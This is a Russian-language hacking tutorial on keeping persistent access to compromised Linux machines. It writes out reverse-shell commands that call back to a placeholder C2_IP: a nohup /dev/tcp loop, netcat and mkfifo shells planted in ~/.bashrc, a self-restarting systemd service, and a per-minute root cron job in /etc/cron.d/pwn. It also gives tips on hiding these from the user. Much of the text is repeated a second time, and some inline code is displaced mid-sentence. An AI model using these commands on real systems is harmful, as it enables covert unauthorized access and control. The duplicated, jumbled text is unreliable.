Приветствую вас, начинающие кибервоины!
Этот модуль полностью посвящён персистентности — искусству сохранения доступа к скомпрометированной системе. В предыдущих модулях мы затрагивали эту тему вскользь, но здесь мы рассмотрим её подробно. Персистентность — критически важный этап постэксплуатации. Потеряв её, можно потерять и цель, и все усилия, вложенные в повышение привилегий.
В этой первой части нашей серии статей о персистентности в Linux мы рассмотрим основы, изучив быстрые и надёжные методы, которые помогут вам сохранить позиции после первоначальной атаки. Мы рассмотрим такие вещи, как поддержание работы простой оболочки в фоновом режиме, подключение к запуску оболочки пользователя для запуска вашего кода при каждом входе в систему, создание служб systemd, которые возвращают вашу полезную нагрузку к жизни в случае её аварийного завершения, и настройку запланированных задач, которые будут вызываться через точные интервалы. Это базовые элементы. Они просты в развертывании, работают в большинстве сред и не всегда требуют прав администратора, но имеют свои недостатки, о которых мы поговорим по ходу дела.
Считайте это фундаментом. Как только вы всё это освоите, вы будете готовы к тому, что нас ждёт во второй части, где мы углубимся в вопросы скрытности и устойчивости. Тогда мы займёмся сохранением данных в памяти, перехватом конфигурации, трюками с LD_PRELOAD , злоупотреблением rc.local и даже использованием gsocket для скрытого подключения к цели.
Поскольку многие надёжные методы сохранения данных требуют административных привилегий, их отсутствие может представлять сложность. Поэтому методы в этом модуле будут включать как привилегированные ( # ), так и непривилегированные ( $ ) примеры, когда это возможно.
target$ > nohup bash ‐c "while :; do bash ‐i >& /dev/tcp/C2_IP/8888 0>&1; sleep 60; done" &
Преимущества: контролируемый интервал запуска снижает уровень шума и потребление ресурсов, а метод совместим с любой учётной записью пользователя. Он быстро развёртывается и легко настраивается.
Минусы: не сохраняется после перезагрузки системы. После перезагрузки компьютера процесс завершается, и вам придётся восстанавливать сохранение другими способами.
target$ > echo "nc C2_IP 8888 ‐e /bin/bash 2>/dev/null &" >> ~/.bashrc
Другой вариант:
target$ > echo ‘mkfifo /tmp/f; /bin/bash -i < /tmp/f 2>&1 | nc C2_IP 8888 > /tmp/f; rm /tmp/f’ >> ~/.bashrc
Преимущества: этот подход сохраняет работоспособность после перезагрузки, пока учётная запись пользователя остаётся целой, и работает без прав администратора. Для обеспечения персистентности можно использовать любую учётную запись обычного пользователя.
Минусы: Интервал подключения не контролируется и срабатывает только при открытии пользователем нового сеанса оболочки. Если пользователь редко входит в систему или использует преимущественно графические приложения, не открывая терминал, возможны длительные задержки при восстановлении доступа.
Этот метод является первым шагом на пути к созданию механизмов устойчивости, выдерживающих перезагрузки.
В Linux службы можно создавать как для привилегированного, так и для непривилегированного контекста. Для сохранения на уровне root сервисный модуль размещается в /etc/systemd/system/, в то время как обычный пользователь может создать службу пользовательского уровня в . ~/.config/systemd/user/
target#> nano /etc/systemd/system/persistence.service
target$> nano ~/.config/systemd/user/persistence.service
Эта ExecStartстрока определяет обратное соединение оболочки. Restart=alwaysДиректива указывает systemd перезапустить службу в случае её остановки, а также RestartSec=60задаёт управляемую задержку между попытками перезапуска. Это обеспечивает как постоянство, так и настраиваемый интервал повторного подключения.
После того, как файл службы будет размещен, его необходимо включить и запустить:
target#> systemctl enable persistence.service
target#> systemctl start persistence.service
или
target$> systemctl ‐‐user enable persistence.service
target$> systemctl ‐‐user start persistence.service
Плюсы: выдерживает перезагрузки, позволяет контролировать интервал запуска и может работать под любой учётной записью. Процесс автоматически перезапускается при прерывании.
Минусы: Требуются права администратора для установки на всю систему. Без прав root приложение может работать как пользовательская служба, но будет активна только в рамках сеанса этой учётной записи.
Простой пример сохранения на корневом уровне выглядит так:
target# > echo $'SHELL=/bin/bash\n* * * * * root bash ‐i >& /dev/tcp/C2_IP/9003 0>&1\n'> /etc/cron.d/pwn
Здесь создаётся новое задание cron в , /etc/cron.d/pwnпри этом явно задана оболочка /bin/bash. Расписание * * * * *указывает cron запускать команду каждую минуту, вызывая обратную оболочку на ваш хост. Перенаправление ввода и вывода оболочки по TCP обеспечивает полное удалённое взаимодействие, а размещение задания в гарантирует его регистрацию на системном уровне и сохранение после перезагрузок. /etc/cron.d/
Если вы работаете из непривилегированной учетной записи, вы можете использовать следующий подход:
target$> (crontab -l 2>/dev/null; echo "0 */10 * * * /home/user/.binary") | crontab -
Это позволит запускать ваш исполняемый файл каждые 10 часов. Если вы не знаете, как создать его самостоятельно, ознакомьтесь с нашим модулем для Sliver или Metasploit.
Плюсы: выдерживает перезагрузки, предлагает полностью контролируемый интервал выполнения и гарантирует регулярные попытки подключения.
Минусы: могут потребоваться права root.
По сравнению с такими методами, как .bashrcвнедрение или базовые циклы оболочки, запланированные задания обеспечивают как устойчивость, так и предсказуемость. Однако они более заметны в файлах конфигурации системы, что упрощает обнаружение их внимательным администратором во время плановых проверок безопасности.
Эти методы не претендуют на звание самых сложных, но они выполняют свою работу и работают даже без прав root. Теперь, когда мы рассмотрели основы, мы можем перейти ко второй части, где мы перейдем к более сложным темам: персистентность, которая полностью находится в памяти, злоупотребление конфигурационными файлами, инъекции LD_PRELOAD, хуки rc.local и бэкдоры на основе gsocket. Вот тут-то мы и начнем играть в долгую игру.
Этот модуль полностью посвящён персистентности — искусству сохранения доступа к скомпрометированной системе. В предыдущих модулях мы затрагивали эту тему вскользь, но здесь мы рассмотрим её подробно. Персистентность — критически важный этап постэксплуатации. Потеряв её, можно потерять и цель, и все усилия, вложенные в повышение привилегий.
В этой первой части нашей серии статей о персистентности в Linux мы рассмотрим основы, изучив быстрые и надёжные методы, которые помогут вам сохранить позиции после первоначальной атаки. Мы рассмотрим такие вещи, как поддержание работы простой оболочки в фоновом режиме, подключение к запуску оболочки пользователя для запуска вашего кода при каждом входе в систему, создание служб systemd, которые возвращают вашу полезную нагрузку к жизни в случае её аварийного завершения, и настройку запланированных задач, которые будут вызываться через точные интервалы. Это базовые элементы. Они просты в развертывании, работают в большинстве сред и не всегда требуют прав администратора, но имеют свои недостатки, о которых мы поговорим по ходу дела.
Считайте это фундаментом. Как только вы всё это освоите, вы будете готовы к тому, что нас ждёт во второй части, где мы углубимся в вопросы скрытности и устойчивости. Тогда мы займёмся сохранением данных в памяти, перехватом конфигурации, трюками с LD_PRELOAD , злоупотреблением rc.local и даже использованием gsocket для скрытого подключения к цели.
Поскольку многие надёжные методы сохранения данных требуют административных привилегий, их отсутствие может представлять сложность. Поэтому методы в этом модуле будут включать как привилегированные ( # ), так и непривилегированные ( $ ) примеры, когда это возможно.
Оболочка
Базовая оболочка — это простейшая форма сохранения доступа после первоначальной компрометации. Она не требует повышенных привилегий и может запускаться под любой учётной записью пользователя, что делает её пригодной для сред, где отсутствуют права администратора. Работая в фоновом режиме с помощью nohup , она остаётся активной даже при закрытии терминала, с которого она была запущена. Бесконечный цикл непрерывно пытается установить обратную оболочку к вашему серверу с контролируемыми интервалами ( sleep 60 ), гарантируя, что в случае разрыва соединения по какой-либо причине последует новая попытка после определённой паузы, а не будет перегружать сеть повторными попытками.target$ > nohup bash ‐c "while :; do bash ‐i >& /dev/tcp/C2_IP/8888 0>&1; sleep 60; done" &
Преимущества: контролируемый интервал запуска снижает уровень шума и потребление ресурсов, а метод совместим с любой учётной записью пользователя. Он быстро развёртывается и легко настраивается.
Минусы: не сохраняется после перезагрузки системы. После перезагрузки компьютера процесс завершается, и вам придётся восстанавливать сохранение другими способами.
Автозапуск
Другой метод сохранения основан на базовой концепции оболочки, используя автозапуск на уровне пользователя через файл запуска оболочки. Здесь вы добавляете команду обратной оболочки к файлу целевого пользователя ~/.bashrc. Каждый раз, когда этот пользователь открывает новый сеанс оболочки, будь то через локальный вход, SSH-подключение или эмулятор терминала, добавленная строка выполняется автоматически. В этом случае ncподключается обратно к нашему хосту через порт 8888и создаёт , перенаправляя все ошибки на , чтобы избежать видимых сообщений об ошибках. Выполнение команды в фоновом режиме ( ) гарантирует, что приглашение оболочки отображается нормально для пользователя, снижая подозрения. /bin/bash/dev/null &target$ > echo "nc C2_IP 8888 ‐e /bin/bash 2>/dev/null &" >> ~/.bashrc
Другой вариант:
target$ > echo ‘mkfifo /tmp/f; /bin/bash -i < /tmp/f 2>&1 | nc C2_IP 8888 > /tmp/f; rm /tmp/f’ >> ~/.bashrc
Преимущества: этот подход сохраняет работоспособность после перезагрузки, пока учётная запись пользователя остаётся целой, и работает без прав администратора. Для обеспечения персистентности можно использовать любую учётную запись обычного пользователя.
Минусы: Интервал подключения не контролируется и срабатывает только при открытии пользователем нового сеанса оболочки. Если пользователь редко входит в систему или использует преимущественно графические приложения, не открывая терминал, возможны длительные задержки при восстановлении доступа.
Этот метод является первым шагом на пути к созданию механизмов устойчивости, выдерживающих перезагрузки.
Услуги
Более надёжный метод сохранения работоспособности предполагает использование службы systemd вместо использования скриптов автозапуска. Преимущество такого подхода заключается в том, что диспетчер служб активно поддерживает процесс. Если процесс по какой-либо причине завершается, systemd автоматически перезапустит его в соответствии с параметрами, заданными в модуле службы. Это обеспечивает механизм самовосстановления, с которым .bashrcне может сравниться простая или циклическая персистентность.В Linux службы можно создавать как для привилегированного, так и для непривилегированного контекста. Для сохранения на уровне root сервисный модуль размещается в /etc/systemd/system/, в то время как обычный пользователь может создать службу пользовательского уровня в . ~/.config/systemd/user/
target#> nano /etc/systemd/system/persistence.service
target$> nano ~/.config/systemd/user/persistence.service
Эта ExecStartстрока определяет обратное соединение оболочки. Restart=alwaysДиректива указывает systemd перезапустить службу в случае её остановки, а также RestartSec=60задаёт управляемую задержку между попытками перезапуска. Это обеспечивает как постоянство, так и настраиваемый интервал повторного подключения.
После того, как файл службы будет размещен, его необходимо включить и запустить:
target#> systemctl enable persistence.service
target#> systemctl start persistence.service
или
target$> systemctl ‐‐user enable persistence.service
target$> systemctl ‐‐user start persistence.service
Плюсы: выдерживает перезагрузки, позволяет контролировать интервал запуска и может работать под любой учётной записью. Процесс автоматически перезапускается при прерывании.
Минусы: Требуются права администратора для установки на всю систему. Без прав root приложение может работать как пользовательская служба, но будет активна только в рамках сеанса этой учётной записи.
Запланированные задачи
Запланированные задачи — ещё один эффективный способ поддержания доступа, обеспечивающий как постоянство, так и точный контроль времени выполнения. Используя cron в Linux, вы можете указать точный интервал выполнения их полезной нагрузки, обеспечивая регулярные попытки подключения без зависимости от действий пользователя. Это делает его особенно подходящим для сред, где требуется постоянное присутствие, но система используется не всегда активно.Простой пример сохранения на корневом уровне выглядит так:
target# > echo $'SHELL=/bin/bash\n* * * * * root bash ‐i >& /dev/tcp/C2_IP/9003 0>&1\n'> /etc/cron.d/pwn
Здесь создаётся новое задание cron в , /etc/cron.d/pwnпри этом явно задана оболочка /bin/bash. Расписание * * * * *указывает cron запускать команду каждую минуту, вызывая обратную оболочку на ваш хост. Перенаправление ввода и вывода оболочки по TCP обеспечивает полное удалённое взаимодействие, а размещение задания в гарантирует его регистрацию на системном уровне и сохранение после перезагрузок. /etc/cron.d/
Если вы работаете из непривилегированной учетной записи, вы можете использовать следующий подход:
target$> (crontab -l 2>/dev/null; echo "0 */10 * * * /home/user/.binary") | crontab -
Это позволит запускать ваш исполняемый файл каждые 10 часов. Если вы не знаете, как создать его самостоятельно, ознакомьтесь с нашим модулем для Sliver или Metasploit.
Плюсы: выдерживает перезагрузки, предлагает полностью контролируемый интервал выполнения и гарантирует регулярные попытки подключения.
Минусы: могут потребоваться права root.
По сравнению с такими методами, как .bashrcвнедрение или базовые циклы оболочки, запланированные задания обеспечивают как устойчивость, так и предсказуемость. Однако они более заметны в файлах конфигурации системы, что упрощает обнаружение их внимательным администратором во время плановых проверок безопасности.
Краткое содержание
В первой части мы на практике рассмотрели самые простые способы сохранить работоспособность системы Linux после того, как вы освоились. Мы начали с простого цикла командной оболочки, затем перешли к автозапуску через .bashrc, настроили персистентность с помощью служб systemd и завершили заданиями cron для точного планирования. Мы обсудили, что даёт каждый метод, каковы его недостатки с точки зрения скрытности и надёжности, а также когда стоит выбрать один из них.Эти методы не претендуют на звание самых сложных, но они выполняют свою работу и работают даже без прав root. Теперь, когда мы рассмотрели основы, мы можем перейти ко второй части, где мы перейдем к более сложным темам: персистентность, которая полностью находится в памяти, злоупотребление конфигурационными файлами, инъекции LD_PRELOAD, хуки rc.local и бэкдоры на основе gsocket. Вот тут-то мы и начнем играть в долгую игру.
